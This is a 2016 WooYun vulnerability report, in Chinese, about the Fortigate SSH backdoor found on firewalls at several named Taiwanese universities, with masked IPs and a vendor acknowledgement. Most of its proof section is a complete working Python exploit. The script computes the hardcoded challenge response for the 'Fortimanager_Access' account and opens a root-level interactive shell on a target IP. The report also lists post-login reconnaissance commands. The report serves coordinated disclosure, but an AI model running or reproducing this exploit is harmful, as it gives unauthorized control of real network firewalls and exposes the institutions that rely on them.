漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:台湾高校Fortigate防火墙后门打包(臺灣地區)
提交时间:2016-01-17 10:47
修复时间:2016-03-06 11:26
公开时间:2016-03-06 11:26
漏洞类型:系统/服务补丁不及时
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理
Tags标签:
无
漏洞详情 披露状态:
2016-01-17: 细节已通知厂商并且等待厂商处理中 2016-01-22: 厂商已经确认,细节仅向厂商公开 2016-02-01: 细节向核心白帽子及相关领域专家公开 2016-02-11: 细节向普通白帽子公开 2016-02-21: 细节向实习白帽子公开 2016-03-06: 细节向公众公开
简要描述: Fortigate 找厂商……找厂商……
详细说明: 最近爆出Fortigate防火墙后门,我也来看看 ip 厂商 **.**.**.** 台湾省 中正大学 **.**.**.** 台湾省 中正大学 **.**.**.** 台湾省 中正大学 **.**.**.** 台湾省 中正大学 **.**.**.** 台湾省 中正大学 **.**.**.** 台湾省 海洋大学 **.**.**.** 台湾省 中山大学 **.**.**.** 台湾省 侨光商业专科学校 **.**.**.** 台湾省 政治大学 **.**.**.** 台湾省 中兴大学 **.**.**.** 台湾省 中兴大学 **.**.**.** 台湾省 National Hua-Lien Teachers College **.**.**.** 台湾省 教育网 相关命令: get system status 查看系统信息 show user group 看下用户组 get router info routing-table all 查看路由表
漏洞证明: 验证代码:
#!/usr/bin/env python # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7 # Usage: ./fgt_ssh_backdoor.py <target-ip> import socket import select import sys import paramiko from paramiko.py3compat import u import base64 import hashlib import termios import tty def custom_handler(title, instructions, prompt_list): n = prompt_list[0][0] m = hashlib.sha1() m.update('\x00' * 12) m.update(n + 'FGTAbc11*xy+Qqz27') m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70') h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest()) return [h] def main(): if len(sys.argv) < 2: print 'Usage: ' + sys.argv[0] + ' <target-ip>' exit(-1) client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False) except paramiko.ssh_exception.SSHException: pass trans = client.get_transport() try: trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) except paramiko.ssh_exception.AuthenticationException: pass trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler) chan = client.invoke_shell() oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = u(chan.recv(1024)) if len(x) == 0: sys.stdout.write('\r\n*** EOF\r\n') break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: x = sys.stdin.read(1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) if __name__ == '__main__': main()
证明如上
修复方案: 版权声明:转载请注明来源 路人甲 @乌云
漏洞回应 厂商回应: 危害等级:高
漏洞Rank:18
确认时间:2016-01-22 03:40
厂商回复: 感謝通報
最新状态: 暂无
漏洞评价:
评价